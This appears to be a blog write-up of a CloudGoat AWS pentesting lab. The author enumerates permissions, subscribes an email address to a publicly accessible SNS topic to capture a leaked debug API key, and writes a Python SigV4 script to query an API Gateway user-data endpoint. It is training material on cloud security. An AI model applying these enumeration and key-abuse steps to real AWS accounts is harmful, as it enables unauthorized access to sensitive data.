Post

AWS pentesting - Simple Notification Service and API gateway

Blog focused on pentesting and securing AWS SNS service, chained with AWS API gateway resulting in full administrator level compromise. Based on a cloudgoat challenge I solved while studying "Introduction to AWS pentesting" course.

AWS pentesting - Simple Notification Service and API gateway

SCENARIO

Here are your goals:

  1. Enumerate your current credentials.
  2. Research into Amazon SNS.
  3. Find the secret debug API Key.
  4. Use the API Key against the API Gateway and retrieve the final flag.
1
cloudgoat create sns_secrets

SOME RESEARCH

Did some research on the topics for this lab.

SNS

AWS SNS (Simple Notification Service) broadcasts emails, messages and notification stuff to the subscribers.

Amazon SNS topics without server-side encryption (SSE) store message contents and metadata in plaintext at rest, exposing sensitive information to potential unauthorized access if AWS storage systems are compromised or improperly accessed. Without KMS encryption, SNS messages lack fine-grained access controls, audit trails, and key rotation capabilities, increasing the risk of data exposure in distributed messaging systems.

SECURITY PRACTICES

Unless you explicitly require anyone on the internet to be able to read or write to your Amazon SNS topic, you should ensure that your topic isn’t publicly accessible (accessible by everyone in the world or by any authenticated AWS user).

  • Avoid creating policies with Principal set to "".
  • Avoid using a wildcard (*). Instead, name a specific user or users.

Amazon SNS uses the publisher-subscriber model, requiring three types of user account access:

  • Administrators ? Access to creating, modifying, and deleting topics. Administrators also control topic policies.
  • Publishers ? Access to sending messages to topics.
  • Subscribers ? Access to subscribing to topics.

API GATEWAY

AWS API Gateway is a fully managed service from Amazon Web Services (AWS) that lets you create, publish, secure, monitor, and manage APIs. It acts as the front door for your backend services.

In short we can get - rate limiting, authentication + authorization and monitoring all in one place, even we have 1000+ APIs in our infrastructure, or whether out APIs are public or privately accessible.

  • EDGE – Global endpoint fronted by CloudFront.
  • REGIONAL – Served directly from a specific AWS region.
  • PRIVATE – Accessible only from within a VPC.

An example:

1
2
3
4
5
6
7
8
9
10
11
              Internet
                  │
                  ▼
          AWS API Gateway
                  │
      ┌───────────┴───────────┐
      ▼                       ▼
  Lambda A               Lambda B
      │                       │
      ▼                       ▼
 DynamoDB                  Amazon RDS

INITIAL ENUMERATION

We have a user named cg-sns-user-cgidcb7t3yxlra

1
2
3
4
5
6
└─$ aws sts get-caller-identity --profile sns      
{
    "UserId": "AIDASXSH3AJHQNFWJE2TH",
    "Account": "188055487055",
    "Arn": "arn:aws:iam::188055487055:user/cg-sns-user-cgidcb7t3yxlra"
}

I had already started permissions bruteforce enumeration in pacu (see below), meanwhile I would like to try some AWS SNS commands, as the challenge / username hints towards that.

One topic was there.

1
└─$ aws sns list-topics --profile sns

Looking at topic attributes and permissions, a "*" is present in prinicple, which means literally anyone can:

  • Subscribe
  • Enumerate Subscriptions
  • Receive
1
└─$ aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra --profile sns 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "Attributes": {
        "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sns:Subscribe\",\"sns:Receive\",\"sns:ListSubscriptionsByTopic\"],\"Resource\":\"arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra\"}]}",
        "LambdaSuccessFeedbackSampleRate": "0",
        "Owner": "188055487055",
        "SubscriptionsPending": "0",
        "TopicArn": "arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra",
        "EffectiveDeliveryPolicy": "{\"http\":{\"defaultHealthyRetryPolicy\":{\"minDelayTarget\":20,\"maxDelayTarget\":20,\"numRetries\":3,\"numMaxDelayRetries\":0,\"numNoDelayRetries\":0,\"numMinDelayRetries\":0,\"backoffFunction\":\"linear\"},\"disableSubscriptionOverrides\":false,\"defaultRequestPolicy\":{\"headerContentType\":\"text/plain; charset=UTF-8\"}}}",
        "FirehoseSuccessFeedbackSampleRate": "0",
        "SubscriptionsConfirmed": "0",
        "SQSSuccessFeedbackSampleRate": "0",
        "HTTPSuccessFeedbackSampleRate": "0",
        "ApplicationSuccessFeedbackSampleRate": "0",
        "DisplayName": "",
        "SubscriptionsDeleted": "0"
    }
}

PERMISSION BRUTEFORCING

1
Pacu (sns:imported-sns) > run iam__bruteforce_permissions --region us-east-1

These are the permission for this account (whoami), however I noticed that all the permissions are not listed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

  "Permissions": {
    "Allow": [
      "dynamodb:DescribeEndpoints",
      "sts:GetCallerIdentity",
      "sts:GetSessionToken",
      "sns:ListTopics",
      "apigateway:GetRestApis",
      "apigateway:GetSdkTypes",
      "apigateway:GetClientCertificates",
      "apigateway:GetVpcLinks",
      "apigateway:GetUsagePlans",
      "apigateway:GetAccount",
      "apigateway:GetDomainNames"
    ],
    "Deny": []
  }

SUBSCRIBING TO SNS

After checking API gateways, IAM and other vectors. I considered subscribing to this topic as the last available lead.

I hope that Email protocol is available on this SNS topic, as I’m about to subscribe to it.

1
└─$ aws sns subscribe --protocol email --notification-endpoint samyakkatiyar2@gmail.com --topic-arn arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra --profile sns

Bingo, I received a confirmation email.

Verifying the subscription.

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/cloudgoat/sns_secrets]
└─$ aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra --profile sns                                                
{
    "Subscriptions": [
        {
            "SubscriptionArn": "arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra:6ef7a1f8-81c9-47a0-8e14-2ceca205b7a3",
            "Owner": "188055487055",
            "Protocol": "email",
            "Endpoint": "samyakkatiyar2@gmail.com",
            "TopicArn": "arn:aws:sns:us-east-1:188055487055:public-topic-cgidcb7t3yxlra"
        }
    ]
}

And here we go, the devops team was sharing their debug API key with SNS notifications (set on 2 minute intervals).


OPENING THE API GATEWAY

Getting API gateway settings, nothing much of interest.

1
└─$ aws apigateway get-account --profile sns 

This account is explicitly denied to list API keys. SURE…

1
└─$ aws apigateway get-api-keys --profile sns 

Listing the REST APIs , and API named cg-api-cgidcb7t3yxlra is present.

1
2
┌──(kali㉿kali)-[~/cloudgoat/sns_secrets]
└─$ aws apigateway get-rest-apis --profile sns 

Edge shows it can be accessed globally and might not have IP restrictions (like accessing from a VPS).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
    "items": [
        {
            "id": "d3hok31jvk",
            "name": "cg-api-cgidcb7t3yxlra",
            "description": "API for demonstrating leaked API key scenario",
            "createdDate": "2026-07-25T12:45:59-04:00",
            "apiKeySource": "HEADER",
            "endpointConfiguration": {
                "types": [
                    "EDGE"
                ],
                "ipAddressType": "ipv4"
            },
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "disableExecuteApiEndpoint": false,
            "rootResourceId": "hdoluo1v2i",
            "securityPolicy": "TLS_1_0",
            "apiStatus": "AVAILABLE"
        }
    ]
}

API ENUMERATION

The URL fromat of an AWS gateway API is like:

URL format https://<apiid>.execute-api.us-east-1.amazonaws.com/<stage>/<resource>.

We need the stage and resource.

Getting the resource path.

1
2
┌──(kali㉿kali)-[~/cloudgoat/sns_secrets]
└─$ aws apigateway get-resources --rest-api-id d3hok31jvk --profile sns

This endpoint looks like will reveal some sensitive personal user data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
    "items": [
        {
            "id": "c4sq4a",
            "parentId": "hdoluo1v2i",
            "pathPart": "user-data",
            "path": "/user-data",
            "resourceMethods": {
                "GET": {}
            }
        },
        {
            "id": "hdoluo1v2i",
            "path": "/"
        }
    ]
}

Got the stage too

1
2
3
└─$ aws apigateway get-stages \
    --rest-api-id d3hok31jvk \
    --profile sns

Stage is named prod-cgidcb7t3yxlra.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
    "item": [
        {
            "deploymentId": "g2lhkh",
            "stageName": "prod-cgidcb7t3yxlra",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "tags": {
                "Scenario": "iam_privesc_by_key_rotation",
                "Stack": "CloudGoat"
            },
            "createdDate": "2026-07-25T12:46:05-04:00",
            "lastUpdatedDate": "2026-07-25T12:46:05-04:00"
        }
    ]
}

For reference, this is how our API is structured like.

1
2
3
4
5
6
7
8
REST API (d3hok31jvk)
│
├── Root Resource (/)
│     ID: hdoluo1v2i
│
└── Resource (/user-data)
      ID: c4sq4a
      Method: GET

Our API URL will be:

1
https://d3hok31jvk.execute-api.us-east-1.amazonaws.com/prod-cgidcb7t3yxlra/user-data

SCRIPTING

First I tried just the API key but faced a 403 - forbidden error, next I used the AWS credential too.

remember to fill the API_KEY variable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import boto3
import requests
from requests_aws4auth import AWS4Auth

PROFILE = "sns"
REGION = "us-east-1"
SERVICE = "execute-api"

API_ID = "d3hok31jvk"
STAGE = "prod-cgidcb7t3yxlra"
RESOURCE = "user-data"

API_KEY = "KEY_HERE"

# Load credentials from the AWS CLI profile
session = boto3.Session(profile_name=PROFILE, region_name=REGION)
credentials = session.get_credentials().get_frozen_credentials()

awsauth = AWS4Auth(
    credentials.access_key,
    credentials.secret_key,
    REGION,
    SERVICE,
    session_token=credentials.token
)

url = f"https://{API_ID}.execute-api.{REGION}.amazonaws.com/{STAGE}/{RESOURCE}"

headers = {
    "x-api-key": API_KEY,
}

response = requests.get(
    url,
    auth=awsauth,   # SigV4 authentication
    headers=headers
)

print(f"Status Code: {response.status_code}")
print("Response Headers:")
print(dict(response.headers))
print("\nResponse Body:")
print(response.text)


This post is licensed under CC BY 4.0 by the author.